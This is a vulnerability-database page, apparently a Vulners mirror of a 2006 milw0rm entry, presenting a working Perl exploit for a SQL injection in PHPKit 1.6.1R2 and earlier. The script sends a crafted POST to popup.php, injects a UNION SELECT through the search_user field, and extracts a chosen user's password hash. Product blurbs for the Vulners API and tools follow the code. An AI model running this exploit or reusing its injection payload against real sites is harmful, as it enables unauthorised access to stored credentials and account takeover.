Lucene search
K

PHPKIT <= 1.6.1R2 (search_user) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

PHPKIT <= 1.6.1R2 Remote SQL Injection Exploit by x2

Code

                                                #!/usr/bin/perl

use IO::Socket;

print q{
-----------------------------------------------
PHPKit 1.6.1 exploit by x23 ~ phcn.ws ~ geek-network.de
use: phpkit161.pl [server] [dir] [vic_id]
sample:
$ perl phpkit161.pl localhost /phpkit/ 1
-----------------------------------------------

};

$webpage =   $ARGV[0];
$directory = $ARGV[1];
$vic_id =    $ARGV[2];

if (!$vic_id) { die &#34;~ read how to use ;)\n&#34;; }

print &#34;~ connecting\n&#34;;
$sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$webpage&#34;, PeerPort=&#62;&#34;80&#34;) || die &#34;[+] Can&#39;t connect to Server\n&#34;;

print &#34;~ exploiting\n&#34;;
print $sock &#34;POST &#34;.$directory.&#34;popup.php?path=misc/finduser.php HTTP/1.1\r\n&#34;;
print $sock &#34;Host: $webpage\r\n&#34;;
print $sock &#34;Keep-Alive: 300\r\n&#34;;
print $sock &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
print $sock &#34;Content-Length: &#34;.length(&#34;search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D&#34;.$vic_id.&#34;%2F*&action=Suche&User=-1&#34;).&#34;\r\n\r\n&#34;;

print $sock &#34;search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D&#34;.$vic_id.&#34;%2F*&action=Suche&User=-1&#34;;

while ($answer = &#60;$sock&#62;) {
  #print $answer;
  if ($answer =~/&#60;option value=&#34;([0-9a-f]{32})&#34;&#62;/) {
     print &#34;~ hash: $1\n&#34;;
     close($sock);
     exit();
     break;
  }
}

close($sock);

# milw0rm.com [2006-11-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18